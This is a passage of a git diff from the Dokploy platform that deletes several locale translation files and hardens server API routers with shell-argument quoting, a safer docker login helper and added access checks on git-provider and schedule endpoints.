-	"settings.server.webServer.storage.cleanUnusedVolumes": "Очистити невикористані томи",
-	"settings.server.webServer.storage.cleanStoppedContainers": "Очистити зупинені контейнери",
-	"settings.server.webServer.storage.cleanDockerBuilder": "Очистити Docker Builder і систему",
-	"settings.server.webServer.storage.cleanMonitoring": "Очистити моніторинг",
-	"settings.server.webServer.storage.cleanAll": "Очистити все",
-
-	"settings.profile.title": "Обліковий запис",
-	"settings.profile.description": "Змініть дані вашого профілю.",
-	"settings.profile.email": "Електронна пошта",
-	"settings.profile.password": "Пароль",
-	"settings.profile.avatar": "Аватар",
-
-	"settings.appearance.title": "Зовнішній вигляд",
-	"settings.appearance.description": "Налаштуйте тему вашої панелі керування.",
-	"settings.appearance.theme": "Тема",
-	"settings.appearance.themeDescription": "Оберіть тему для вашої панелі керування",
-	"settings.appearance.themes.light": "Світла",
-	"settings.appearance.themes.dark": "Темна",
-	"settings.appearance.themes.system": "Системна",
-	"settings.appearance.language": "Мова",
-	"settings.appearance.languageDescription": "Оберіть мову для вашої панелі керування",
-
-	"settings.terminal.connectionSettings": "Налаштування з'єднання",
-	"settings.terminal.ipAddress": "IP-адреса",
-	"settings.terminal.port": "Порт",
-	"settings.terminal.username": "Ім'я користувача"
-}
diff --git a/apps/dokploy/public/locales/zh-Hans/common.json b/apps/dokploy/public/locales/zh-Hans/common.json
deleted file mode 100644
index 91af07ff2..000000000
--- a/apps/dokploy/public/locales/zh-Hans/common.json
+++ /dev/null
@@ -1,78 +0,0 @@
-{
-	"dashboard.title": "仪表盘",
-	"dashboard.overview": "概览",
-	"dashboard.projects": "项目",
-	"dashboard.servers": "服务器",
-	"dashboard.docker": "Docker",
-	"dashboard.monitoring": "监控",
-	"dashboard.settings": "设置",
-	"dashboard.logout": "退出登录",
-	"dashboard.profile": "个人资料",
-	"dashboard.terminal": "终端",
-	"dashboard.containers": "容器",
-	"dashboard.images": "镜像",
-	"dashboard.volumes": "卷",
-	"dashboard.networks": "网络",
-	"button.create": "创建",
-	"button.edit": "编辑",
-	"button.delete": "删除",
-	"button.cancel": "取消",
-	"button.save": "保存",
-	"button.confirm": "确认",
-	"button.back": "返回",
-	"button.next": "下一步",
-	"button.finish": "完成",
-	"status.running": "运行中",
-	"status.stopped": "已停止",
-	"status.error": "错误",
-	"status.pending": "等待中",
-	"status.success": "成功",
-	"status.failed": "失败",
-	"form.required": "必填",
-	"form.invalid": "无效",
-	"form.submit": "提交",
-	"form.reset": "重置",
-	"notification.success": "操作成功",
-	"notification.error": "操作失败",
-	"notification.warning": "警告",
-	"notification.info": "信息",
-	"time.now": "刚刚",
-	"time.minutes": "分钟前",
-	"time.hours": "小时前",
-	"time.days": "天前",
-	"filter.all": "全部",
-	"filter.active": "活跃",
-	"filter.inactive": "不活跃",
-	"sort.asc": "升序",
-	"sort.desc": "降序",
-	"search.placeholder": "搜索...",
-	"search.noResults": "无结果",
-	"pagination.prev": "上一页",
-	"pagination.next": "下一页",
-	"pagination.of": "共 {0} 页",
-	"error.notFound": "未找到",
-	"error.serverError": "服务器错误",
-	"error.unauthorized": "未授权",
-	"error.forbidden": "禁止访问",
-	"loading": "加载中...",
-	"empty": "暂无数据",
-	"more": "更多",
-	"less": "收起",
-	"project.create": "创建项目",
-	"project.edit": "编辑项目",
-	"project.delete": "删除项目",
-	"project.name": "项目名称",
-	"project.description": "项目描述",
-	"service.create": "创建服务",
-	"service.edit": "编辑服务",
-	"service.delete": "删除服务",
-	"service.name": "服务名称",
-	"service.type": "服务类型",
-	"domain.add": "添加域名",
-	"domain.remove": "移除域名",
-	"environment.variables": "环境变量",
-	"environment.add": "添加环境变量",
-	"environment.edit": "编辑环境变量",
-	"environment.name": "变量名",
-	"environment.value": "变量值"
-}
diff --git a/apps/dokploy/public/locales/zh-Hans/settings.json b/apps/dokploy/public/locales/zh-Hans/settings.json
deleted file mode 100644
index d70676d6a..000000000
--- a/apps/dokploy/public/locales/zh-Hans/settings.json
+++ /dev/null
@@ -1,67 +0,0 @@
-{
-	"settings.common.save": "保存",
-	"settings.common.enterTerminal": "终端",
-	"settings.server.domain.title": "服务器域名",
-	"settings.server.domain.description": "为您的服务器应用添加域名。",
-	"settings.server.domain.form.domain": "域名",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt 邮箱",
-	"settings.server.domain.form.certificate.label": "证书提供商",
-	"settings.server.domain.form.certificate.placeholder": "选择证书",
-	"settings.server.domain.form.certificateOptions.none": "无",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-	"settings.server.webServer.title": "Web 服务器",
-	"settings.server.webServer.description": "重载或清理 Web 服务器。",
-	"settings.server.webServer.actions": "操作",
-	"settings.server.webServer.reload": "重新加载",
-	"settings.server.webServer.watchLogs": "查看日志",
-	"settings.server.webServer.updateServerIp": "更新服务器 IP",
-	"settings.server.webServer.server.label": "服务器",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "修改环境变量",
-	"settings.server.webServer.traefik.managePorts": "额外端口映射",
-	"settings.server.webServer.traefik.managePortsDescription": "为 Traefik 添加或删除额外端口",
-	"settings.server.webServer.traefik.targetPort": "目标端口",
-	"settings.server.webServer.traefik.publishedPort": "发布端口",
-	"settings.server.webServer.traefik.addPort": "添加端口",
-	"settings.server.webServer.traefik.portsUpdated": "端口更新成功",
-	"settings.server.webServer.traefik.portsUpdateError": "端口更新失败",
-	"settings.server.webServer.traefik.publishMode": "发布模式",
-	"settings.server.webServer.storage.label": "存储空间",
-	"settings.server.webServer.storage.cleanUnusedImages": "清理未使用的镜像",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "清理未使用的卷",
-	"settings.server.webServer.storage.cleanStoppedContainers": "清理已停止的容器",
-	"settings.server.webServer.storage.cleanDockerBuilder": "清理 Docker Builder 和系统",
-	"settings.server.webServer.storage.cleanMonitoring": "清理监控数据",
-	"settings.server.webServer.storage.cleanAll": "清理所有内容",
-	"settings.profile.title": "账户",
-	"settings.profile.description": "在此更改您的个人资料详情。",
-	"settings.profile.email": "邮箱",
-	"settings.profile.password": "密码",
-	"settings.profile.avatar": "头像",
-	"settings.appearance.title": "外观",
-	"settings.appearance.description": "自定义您的仪表盘主题。",
-	"settings.appearance.theme": "主题",
-	"settings.appearance.themeDescription": "为您的仪表盘选择主题",
-	"settings.appearance.themes.light": "明亮",
-	"settings.appearance.themes.dark": "暗黑",
-	"settings.appearance.themes.system": "跟随系统",
-	"settings.appearance.language": "语言",
-	"settings.appearance.languageDescription": "为您的仪表盘选择语言",
-	"settings.terminal.connectionSettings": "连接设置",
-	"settings.terminal.ipAddress": "IP 地址",
-	"settings.terminal.port": "端口",
-	"settings.terminal.username": "用户名",
-	"settings.settings": "设置",
-	"settings.general": "通用设置",
-	"settings.security": "安全",
-	"settings.users": "用户管理",
-	"settings.roles": "角色管理",
-	"settings.permissions": "权限",
-	"settings.api": "API设置",
-	"settings.certificates": "证书管理",
-	"settings.ssh": "SSH密钥",
-	"settings.backups": "备份",
-	"settings.logs": "日志",
-	"settings.updates": "更新",
-	"settings.network": "网络"
-}
diff --git a/apps/dokploy/public/locales/zh-Hant/common.json b/apps/dokploy/public/locales/zh-Hant/common.json
deleted file mode 100644
index 0967ef424..000000000
--- a/apps/dokploy/public/locales/zh-Hant/common.json
+++ /dev/null
@@ -1 +0,0 @@
-{}
diff --git a/apps/dokploy/public/locales/zh-Hant/settings.json b/apps/dokploy/public/locales/zh-Hant/settings.json
deleted file mode 100644
index 9d6900377..000000000
--- a/apps/dokploy/public/locales/zh-Hant/settings.json
+++ /dev/null
@@ -1,58 +0,0 @@
-{
-	"settings.common.save": "儲存",
-	"settings.common.enterTerminal": "進入終端機",
-	"settings.server.domain.title": "網域設定",
-	"settings.server.domain.description": "新增網域至伺服器",
-	"settings.server.domain.form.domain": "網域",
-	"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt 信箱",
-	"settings.server.domain.form.certificate.label": "憑證",
-	"settings.server.domain.form.certificate.placeholder": "選擇一個憑證",
-	"settings.server.domain.form.certificateOptions.none": "無",
-	"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
-
-	"settings.server.webServer.title": "伺服器設定",
-	"settings.server.webServer.description": "管理伺服器",
-	"settings.server.webServer.actions": "操作",
-	"settings.server.webServer.reload": "重新載入",
-	"settings.server.webServer.watchLogs": "查看日誌",
-	"settings.server.webServer.updateServerIp": "更新伺服器 IP",
-	"settings.server.webServer.server.label": "伺服器",
-	"settings.server.webServer.traefik.label": "Traefik",
-	"settings.server.webServer.traefik.modifyEnv": "修改環境變數",
-	"settings.server.webServer.traefik.managePorts": "埠轉發",
-	"settings.server.webServer.traefik.managePortsDescription": "新增或移除 Traefik 的其他埠",
-	"settings.server.webServer.traefik.targetPort": "目標埠",
-	"settings.server.webServer.traefik.publishedPort": "對外埠",
-	"settings.server.webServer.traefik.addPort": "新增埠",
-	"settings.server.webServer.traefik.portsUpdated": "埠更新成功",
-	"settings.server.webServer.traefik.portsUpdateError": "埠更新失敗",
-	"settings.server.webServer.traefik.publishMode": "埠對應模式",
-	"settings.server.webServer.storage.label": "儲存空間",
-	"settings.server.webServer.storage.cleanUnusedImages": "清理未使用的映像檔",
-	"settings.server.webServer.storage.cleanUnusedVolumes": "清理未使用的卷",
-	"settings.server.webServer.storage.cleanStoppedContainers": "清理已停止的容器",
-	"settings.server.webServer.storage.cleanDockerBuilder": "清理 Docker Builder 和系統快取",
-	"settings.server.webServer.storage.cleanMonitoring": "清理監控數據",
-	"settings.server.webServer.storage.cleanAll": "清理所有內容",
-
-	"settings.profile.title": "帳戶",
-	"settings.profile.description": "更改您的個人資料",
-	"settings.profile.email": "信箱",
-	"settings.profile.password": "密碼",
-	"settings.profile.avatar": "頭像",
-
-	"settings.appearance.title": "外觀",
-	"settings.appearance.description": "自訂面板主題",
-	"settings.appearance.theme": "主題",
-	"settings.appearance.themeDescription": "選擇面板主題",
-	"settings.appearance.themes.light": "明亮",
-	"settings.appearance.themes.dark": "黑暗",
-	"settings.appearance.themes.system": "系統",
-	"settings.appearance.language": "語言",
-	"settings.appearance.languageDescription": "選擇面板語言",
-
-	"settings.terminal.connectionSettings": "終端機設定",
-	"settings.terminal.ipAddress": "IP 位址",
-	"settings.terminal.port": "埠",
-	"settings.terminal.username": "使用者名稱"
-}
diff --git a/apps/dokploy/server/api/routers/ai.ts b/apps/dokploy/server/api/routers/ai.ts
index 81e03fe26..26fa9ddb5 100644
--- a/apps/dokploy/server/api/routers/ai.ts
+++ b/apps/dokploy/server/api/routers/ai.ts
@@ -1,6 +1,7 @@
 import { IS_CLOUD } from "@dokploy/server/constants";
 import {
 	apiCreateAi,
+	apiSaveAiCustomProviders,
 	apiUpdateAi,
 	deploySuggestionSchema,
 } from "@dokploy/server/db/schema/ai";
@@ -13,7 +14,9 @@ import {
 	deleteAiSettings,
 	getAiSettingById,
 	getAiSettingsByOrganizationId,
+	getCustomAiProviders,
 	saveAiSettings,
+	saveCustomAiProviders,
 	suggestVariants,
 } from "@dokploy/server/services/ai";
 import { createComposeByTemplate } from "@dokploy/server/services/compose";
@@ -200,6 +203,19 @@ export const aiRouter = createTRPCRouter({
 			return await deleteAiSettings(input.aiId);
 		}),
 
+	getCustomProviders: protectedProcedure.query(async ({ ctx }) => {
+		return await getCustomAiProviders(ctx.session.activeOrganizationId);
+	}),
+
+	saveCustomProviders: adminProcedure
+		.input(apiSaveAiCustomProviders)
+		.mutation(async ({ ctx, input }) => {
+			return await saveCustomAiProviders(
+				ctx.session.activeOrganizationId,
+				input.providers,
+			);
+		}),
+
 	getEnabledProviders: protectedProcedure.query(async ({ ctx }) => {
 		const settings = await getAiSettingsByOrganizationId(
 			ctx.session.activeOrganizationId,
diff --git a/apps/dokploy/server/api/routers/backup.ts b/apps/dokploy/server/api/routers/backup.ts
index c324f5cc1..9bc73ce77 100644
--- a/apps/dokploy/server/api/routers/backup.ts
+++ b/apps/dokploy/server/api/routers/backup.ts
@@ -49,6 +49,7 @@ import {
 	restoreWebServerBackup,
 } from "@dokploy/server/utils/restore";
 import { TRPCError } from "@trpc/server";
+import { quote } from "shell-quote";
 import { z } from "zod";
 import {
 	createTRPCRouter,
@@ -510,7 +511,7 @@ export const backupRouter = createTRPCRouter({
 						: input.search;
 
 				const searchPath = baseDir ? `${bucketPath}/${baseDir}` : bucketPath;
-				const listCommand = `rclone lsjson ${rcloneFlags.join(" ")} "${searchPath}" --no-mimetype --no-modtime 2>/dev/null`;
+				const listCommand = `rclone lsjson ${rcloneFlags.join(" ")} ${quote([searchPath])} --no-mimetype --no-modtime 2>/dev/null`;
 
 				let stdout = "";
 
diff --git a/apps/dokploy/server/api/routers/bitbucket.ts b/apps/dokploy/server/api/routers/bitbucket.ts
index 7830b6b4c..be1437cbd 100644
--- a/apps/dokploy/server/api/routers/bitbucket.ts
+++ b/apps/dokploy/server/api/routers/bitbucket.ts
@@ -1,4 +1,5 @@
 import {
+	assertGitProviderAccess,
 	createBitbucket,
 	findBitbucketById,
 	getAccessibleGitProviderIds,
@@ -51,8 +52,10 @@ export const bitbucketRouter = createTRPCRouter({
 		}),
 	one: protectedProcedure
 		.input(apiFindOneBitbucket)
-		.query(async ({ input }) => {
-			return await findBitbucketById(input.bitbucketId);
+		.query(async ({ input, ctx }) => {
+			const bitbucket = await findBitbucketById(input.bitbucketId);
+			await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
+			return bitbucket;
 		}),
 	bitbucketProviders: protectedProcedure.query(async ({ ctx }) => {
 		const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -78,18 +81,26 @@ export const bitbucketRouter = createTRPCRouter({
 
 	getBitbucketRepositories: protectedProcedure
 		.input(apiFindOneBitbucket)
-		.query(async ({ input }) => {
+		.query(async ({ input, ctx }) => {
+			const bitbucket = await findBitbucketById(input.bitbucketId);
+			await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
 			return await getBitbucketRepositories(input.bitbucketId);
 		}),
 	getBitbucketBranches: protectedProcedure
 		.input(apiFindBitbucketBranches)
-		.query(async ({ input }) => {
+		.query(async ({ input, ctx }) => {
+			if (input.bitbucketId) {
+				const bitbucket = await findBitbucketById(input.bitbucketId);
+				await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
+			}
 			return await getBitbucketBranches(input);
 		}),
 	testConnection: protectedProcedure
 		.input(apiBitbucketTestConnection)
-		.mutation(async ({ input }) => {
+		.mutation(async ({ input, ctx }) => {
 			try {
+				const bitbucket = await findBitbucketById(input.bitbucketId);
+				await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
 				const result = await testBitbucketConnection(input);
 
 				return `Found ${result} repositories`;
diff --git a/apps/dokploy/server/api/routers/cluster.ts b/apps/dokploy/server/api/routers/cluster.ts
index 441410182..ff0bc4de6 100644
--- a/apps/dokploy/server/api/routers/cluster.ts
+++ b/apps/dokploy/server/api/routers/cluster.ts
@@ -6,6 +6,7 @@ import {
 	getRemoteDocker,
 } from "@dokploy/server";
 import { TRPCError } from "@trpc/server";
+import { quote } from "shell-quote";
 import { z } from "zod";
 import { audit } from "@/server/api/utils/audit";
 import { getLocalServerIp } from "@/server/wss/terminal";
@@ -51,8 +52,8 @@ export const clusterRouter = createTRPCRouter({
 				}
 			}
 			try {
-				const drainCommand = `docker node update --availability drain ${input.nodeId}`;
-				const removeCommand = `docker node rm ${input.nodeId} --force`;
+				const drainCommand = `docker node update --availability drain ${quote([input.nodeId])}`;
+				const removeCommand = `docker node rm ${quote([input.nodeId])} --force`;
 
 				if (input.serverId) {
 					await execAsyncRemote(input.serverId, drainCommand);
diff --git a/apps/dokploy/server/api/routers/destination.ts b/apps/dokploy/server/api/routers/destination.ts
index cf7395a3f..3d2ad6057 100644
--- a/apps/dokploy/server/api/routers/destination.ts
+++ b/apps/dokploy/server/api/routers/destination.ts
@@ -10,6 +10,7 @@ import {
 import { db } from "@dokploy/server/db";
 import { TRPCError } from "@trpc/server";
 import { desc, eq } from "drizzle-orm";
+import { quote } from "shell-quote";
 import { createTRPCRouter, withPermission } from "@/server/api/trpc";
 import { audit } from "@/server/api/utils/audit";
 import {
@@ -58,10 +59,10 @@ export const destinationRouter = createTRPCRouter({
 			} = input;
 			try {
 				const rcloneFlags = [
-					`--s3-access-key-id="${accessKey}"`,
-					`--s3-secret-access-key="${secretAccessKey}"`,
-					`--s3-region="${region}"`,
-					`--s3-endpoint="${endpoint}"`,
+					`--s3-access-key-id=${quote([accessKey])}`,
+					`--s3-secret-access-key=${quote([secretAccessKey])}`,
+					`--s3-region=${quote([region])}`,
+					`--s3-endpoint=${quote([endpoint])}`,
 					"--s3-no-check-bucket",
 					"--s3-force-path-style",
 					"--retries 1",
@@ -70,13 +71,13 @@ export const destinationRouter = createTRPCRouter({
 					"--contimeout 5s",
 				];
 				if (provider) {
-					rcloneFlags.unshift(`--s3-provider="${provider}"`);
+					rcloneFlags.unshift(`--s3-provider=${quote([provider])}`);
 				}
 				if (additionalFlags?.length) {
 					rcloneFlags.push(...additionalFlags);
 				}
 				const rcloneDestination = `:s3:${bucket}`;
-				const rcloneCommand = `rclone ls ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
+				const rcloneCommand = `rclone ls ${rcloneFlags.join(" ")} ${quote([rcloneDestination])}`;
 
 				if (IS_CLOUD && !input.serverId) {
 					throw new TRPCError({
diff --git a/apps/dokploy/server/api/routers/gitea.ts b/apps/dokploy/server/api/routers/gitea.ts
index b16a351c1..0ec08964d 100644
--- a/apps/dokploy/server/api/routers/gitea.ts
+++ b/apps/dokploy/server/api/routers/gitea.ts
@@ -1,4 +1,5 @@
 import {
+	assertGitProviderAccess,
 	createGitea,
 	findGiteaById,
 	getAccessibleGitProviderIds,
@@ -53,9 +54,13 @@ export const giteaRouter = createTRPCRouter({
 			}
 		}),
 
-	one: protectedProcedure.input(apiFindOneGitea).query(async ({ input }) => {
-		return await findGiteaById(input.giteaId);
-	}),
+	one: protectedProcedure
+		.input(apiFindOneGitea)
+		.query(async ({ input, ctx }) => {
+			const gitea = await findGiteaById(input.giteaId);
+			await assertGitProviderAccess(ctx.session, gitea.gitProvider);
+			return gitea;
+		}),
 
 	giteaProviders: protectedProcedure.query(async ({ ctx }) => {
 		const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -89,7 +94,7 @@ export const giteaRouter = createTRPCRouter({
 
 	getGiteaRepositories: protectedProcedure
 		.input(apiFindOneGitea)
-		.query(async ({ input }) => {
+		.query(async ({ input, ctx }) => {
 			const { giteaId } = input;
 
 			if (!giteaId) {
@@ -99,6 +104,9 @@ export const giteaRouter = createTRPCRouter({
 				});
 			}
 
+			const gitea = await findGiteaById(giteaId);
+			await assertGitProviderAccess(ctx.session, gitea.gitProvider);
+
 			try {
 				const repositories = await getGiteaRepositories(giteaId);
 				return repositories;
@@ -113,7 +121,7 @@ export const giteaRouter = createTRPCRouter({
 
 	getGiteaBranches: protectedProcedure
 		.input(apiFindGiteaBranches)
-		.query(async ({ input }) => {
+		.query(async ({ input, ctx }) => {
 			const { giteaId, owner, repositoryName } = input;
 
 			if (!giteaId || !owner || !repositoryName) {
@@ -124,6 +132,9 @@ export const giteaRouter = createTRPCRouter({
 				});
 			}
 
+			const gitea = await findGiteaById(giteaId);
+			await assertGitProviderAccess(ctx.session, gitea.gitProvider);
+
 			try {
 				return await getGiteaBranches({
 					giteaId,
@@ -141,9 +152,12 @@ export const giteaRouter = createTRPCRouter({
 
 	testConnection: protectedProcedure
 		.input(apiGiteaTestConnection)
-		.mutation(async ({ input }) => {
+		.mutation(async ({ input, ctx }) => {
 			const giteaId = input.giteaId ?? "";
 
+			const gitea = await findGiteaById(giteaId);
+			await assertGitProviderAccess(ctx.session, gitea.gitProvider);
+
 			try {
 				const result = await testGiteaConnection({
 					giteaId,
diff --git a/apps/dokploy/server/api/routers/github.ts b/apps/dokploy/server/api/routers/github.ts
index f337a05fc..733cc2b83 100644
--- a/apps/dokploy/server/api/routers/github.ts
+++ b/apps/dokploy/server/api/routers/github.ts
@@ -1,4 +1,5 @@
 import {
+	assertGitProviderAccess,
 	findGithubById,
 	getAccessibleGitProviderIds,
 	getGithubBranches,
@@ -22,17 +23,27 @@ import {
 } from "@/server/db/schema";
 
 export const githubRouter = createTRPCRouter({
-	one: protectedProcedure.input(apiFindOneGithub).query(async ({ input }) => {
-		return await findGithubById(input.githubId);
-	}),
+	one: protectedProcedure
+		.input(apiFindOneGithub)
+		.query(async ({ input, ctx }) => {
+			const github = await findGithubById(input.githubId);
+			await assertGitProviderAccess(ctx.session, github.gitProvider);
+			return github;
+		}),
 	getGithubRepositories: protectedProcedure
 		.input(apiFindOneGithub)
-		.query(async ({ input }) => {
+		.query(async ({ input, ctx }) => {
+			const github = await findGithubById(input.githubId);
+			await assertGitProviderAccess(ctx.session, github.gitProvider);
 			return await getGithubRepositories(input.githubId);
 		}),
 	getGithubBranches: protectedProcedure
 		.input(apiFindGithubBranches)
-		.query(async ({ input }) => {
+		.query(async ({ input, ctx }) => {
+			if (input.githubId) {
+				const github = await findGithubById(input.githubId);
+				await assertGitProviderAccess(ctx.session, github.gitProvider);
+			}
 			return await getGithubBranches(input);
 		}),
 	githubProviders: protectedProcedure.query(async ({ ctx }) => {
@@ -67,8 +78,10 @@ export const githubRouter = createTRPCRouter({
 
 	testConnection: protectedProcedure
 		.input(apiFindOneGithub)
-		.mutation(async ({ input }) => {
+		.mutation(async ({ input, ctx }) => {
 			try {
+				const github = await findGithubById(input.githubId);
+				await assertGitProviderAccess(ctx.session, github.gitProvider);
 				const result = await getGithubRepositories(input.githubId);
 				return `Found ${result.length} repositories`;
 			} catch (err) {
diff --git a/apps/dokploy/server/api/routers/gitlab.ts b/apps/dokploy/server/api/routers/gitlab.ts
index ff42a8bbe..c93637bd1 100644
--- a/apps/dokploy/server/api/routers/gitlab.ts
+++ b/apps/dokploy/server/api/routers/gitlab.ts
@@ -1,4 +1,5 @@
 import {
+	assertGitProviderAccess,
 	createGitlab,
 	findGitlabById,
 	getAccessibleGitProviderIds,
@@ -51,9 +52,13 @@ export const gitlabRouter = createTRPCRouter({
 				});
 			}
 		}),
-	one: protectedProcedure.input(apiFindOneGitlab).query(async ({ input }) => {
-		return await findGitlabById(input.gitlabId);
-	}),
+	one: protectedProcedure
+		.input(apiFindOneGitlab)
+		.query(async ({ input, ctx }) => {
+			const gitlab = await findGitlabById(input.gitlabId);
+			await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
+			return gitlab;
+		}),
 	gitlabProviders: protectedProcedure.query(async ({ ctx }) => {
 		const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
 
@@ -86,19 +91,27 @@ export const gitlabRouter = createTRPCRouter({
 	}),
 	getGitlabRepositories: protectedProcedure
 		.input(apiFindOneGitlab)
-		.query(async ({ input }) => {
+		.query(async ({ input, ctx }) => {
+			const gitlab = await findGitlabById(input.gitlabId);
+			await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
 			return await getGitlabRepositories(input.gitlabId);
 		}),
 
 	getGitlabBranches: protectedProcedure
 		.input(apiFindGitlabBranches)
-		.query(async ({ input }) => {
+		.query(async ({ input, ctx }) => {
+			if (input.gitlabId) {
+				const gitlab = await findGitlabById(input.gitlabId);
+				await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
+			}
 			return await getGitlabBranches(input);
 		}),
 	testConnection: protectedProcedure
 		.input(apiGitlabTestConnection)
-		.mutation(async ({ input }) => {
+		.mutation(async ({ input, ctx }) => {
 			try {
+				const gitlab = await findGitlabById(input.gitlabId);
+				await assertGitProviderAccess(ctx.session, gitlab.gitProvider);
 				const result = await testGitlabConnection(input);
 
 				return `Found ${result} repositories`;
diff --git a/apps/dokploy/server/api/routers/registry.ts b/apps/dokploy/server/api/routers/registry.ts
index 1b156c069..c93da5a22 100644
--- a/apps/dokploy/server/api/routers/registry.ts
+++ b/apps/dokploy/server/api/routers/registry.ts
@@ -5,6 +5,7 @@ import {
 	findRegistryById,
 	IS_CLOUD,
 	removeRegistry,
+	safeDockerLoginCommand,
 	updateRegistry,
 } from "@dokploy/server";
 import { db } from "@dokploy/server/db";
@@ -122,7 +123,11 @@ export const registryRouter = createTRPCRouter({
 				if (input.serverId && input.serverId !== "none") {
 					await execAsyncRemote(
 						input.serverId,
-						`echo ${input.password} | docker ${args.join(" ")}`,
+						safeDockerLoginCommand(
+							input.registryUrl,
+							input.username,
+							input.password,
+						),
 					);
 				} else {
 					await execFileAsync("docker", args, {
@@ -182,7 +187,11 @@ export const registryRouter = createTRPCRouter({
 				if (input.serverId && input.serverId !== "none") {
 					await execAsyncRemote(
 						input.serverId,
-						`echo ${registryData.password} | docker ${args.join(" ")}`,
+						safeDockerLoginCommand(
+							registryData.registryUrl,
+							registryData.username,
+							registryData.password,
+						),
 					);
 				} else {
 					await execFileAsync("docker", args, {
diff --git a/apps/dokploy/server/api/routers/schedule.ts b/apps/dokploy/server/api/routers/schedule.ts
index 2bec813a7..9f0c16b1e 100644
--- a/apps/dokploy/server/api/routers/schedule.ts
+++ b/apps/dokploy/server/api/routers/schedule.ts
@@ -13,6 +13,7 @@ import {
 	findMemberByUserId,
 } from "@dokploy/server/services/permission";
 import {
+	assertHostScheduleAccess,
 	createSchedule,
 	deleteSchedule,
 	findScheduleById,
@@ -31,6 +32,8 @@ export const scheduleRouter = createTRPCRouter({
 	create: protectedProcedure
 		.input(createScheduleSchema)
 		.mutation(async ({ input, ctx }) => {
+			await assertHostScheduleAccess(ctx, input.scheduleType, input.serverId);
+
 			const serviceId = input.applicationId || input.composeId;
 			if (serviceId) {
 				await checkServicePermissionAndAccess(ctx, serviceId, {
@@ -44,51 +47,14 @@ export const scheduleRouter = createTRPCRouter({
 					);
 				}
 			} else {
-				if (input.scheduleType === "dokploy-server" && IS_CLOUD) {
-					throw new TRPCError({
-						code: "FORBIDDEN",
-						message:
-							"Host-level schedules are not available in the cloud version.",
-					});
-				}
-
 				await checkPermission(ctx, { schedule: ["create"] });
 
-				if (
-					input.scheduleType === "server" ||
-					input.scheduleType === "dokploy-server"
-				) {
-					const member = await findMemberByUserId(
-						ctx.user.id,
+				if (IS_CLOUD && input.scheduleType === "server" && input.serverId) {
+					await assertScheduledJobLimit(
 						ctx.session.activeOrganizationId,
+						"server",
+						input.serverId,
 					);
-					if (member.role !== "owner" && member.role !== "admin") {
-						throw new TRPCError({
-							code: "FORBIDDEN",
-							message:
-								"Only owners and admins can manage server-level schedules.",
-						});
-					}
-				}
-
-				if (input.scheduleType === "server" && input.serverId) {
-					const targetServer = await findServerById(input.serverId);
-					if (
-						targetServer.organizationId !== ctx.session.activeOrganizationId
-					) {
-						throw new TRPCError({
-							code: "UNAUTHORIZED",
-							message: "You don't have access to this server.",
-						});
-					}
-
-					if (IS_CLOUD) {
-						await assertScheduledJobLimit(
-							ctx.session.activeOrganizationId,
-							"server",
-							input.serverId,
-						);
-					}
 				}
 			}
 			const newSchedule = await createSchedule({
@@ -135,6 +101,22 @@ export const scheduleRouter = createTRPCRouter({
 				});
 			}
 
+			await assertHostScheduleAccess(
+				ctx,
+				existingSchedule.scheduleType,
+				existingSchedule.serverId,
+			);
+			if (
+				input.scheduleType &&
+				input.scheduleType !== existingSchedule.scheduleType
+			) {
+				await assertHostScheduleAccess(
+					ctx,
+					input.scheduleType,
+					input.serverId ?? existingSchedule.serverId,
+				);
+			}
+
 			const serviceId =
 				existingSchedule.applicationId || existingSchedule.composeId;
 			if (serviceId) {
@@ -142,47 +124,7 @@ export const scheduleRouter = createTRPCRouter({
 					schedule: ["update"],
 				});
 			} else {
-				if (existingSchedule.scheduleType === "dokploy-server" && IS_CLOUD) {
-					throw new TRPCError({
-						code: "FORBIDDEN",
-						message:
-							"Host-level schedules are not available in the cloud version.",
-					});
-				}
-
 				await checkPermission(ctx, { schedule: ["update"] });
-
-				if (
-					existingSchedule.scheduleType === "server" ||
-					existingSchedule.scheduleType === "dokploy-server"
-				) {
-					const member = await findMemberByUserId(
-						ctx.user.id,
-						ctx.session.activeOrganizationId,
-					);
-					if (member.role !== "owner" && member.role !== "admin") {
-						throw new TRPCError({
-							code: "FORBIDDEN",
-							message:
-								"Only owners and admins can manage server-level schedules.",
-						});
-					}
-				}
-
-				if (
-					existingSchedule.scheduleType === "server" &&
-					existingSchedule.serverId
-				) {
-					const targetServer = await findServerById(existingSchedule.serverId);
-					if (
-						targetServer.organizationId !== ctx.session.activeOrganizationId
-					) {
-						throw new TRPCError({
-							code: "UNAUTHORIZED",
-							message: "You don't have access to this server.",
-						});
-					}
-				}
 			}
 			const updatedSchedule = await updateSchedule(input);
 
@@ -222,50 +164,19 @@ export const scheduleRouter = createTRPCRouter({
 		.input(z.object({ scheduleId: z.string() }))
 		.mutation(async ({ input, ctx }) => {
 			const scheduleItem = await findScheduleById(input.scheduleId);
+			await assertHostScheduleAccess(
+				ctx,
+				scheduleItem.scheduleType,
+				scheduleItem.serverId,
+			);
+
 			const serviceId = scheduleItem.applicationId || scheduleItem.composeId;
 			if (serviceId) {
 				await checkServicePermissionAndAccess(ctx, serviceId, {
 					schedule: ["delete"],
 				});
 			} else {
-				if (scheduleItem.scheduleType === "dokploy-server" && IS_CLOUD) {
-					throw new TRPCError({
-						code: "FORBIDDEN",
-						message:
-							"Host-level schedules are not available in the cloud version.",
-					});
-				}
-
 				await checkPermission(ctx, { schedule: ["delete"] });
-
-				if (
-					scheduleItem.scheduleType === "server" ||
-					scheduleItem.scheduleType === "dokploy-server"
-				) {
-					const member = await findMemberByUserId(
-						ctx.user.id,
-						ctx.session.activeOrganizationId,
-					);
-					if (member.role !== "owner" && member.role !== "admin") {
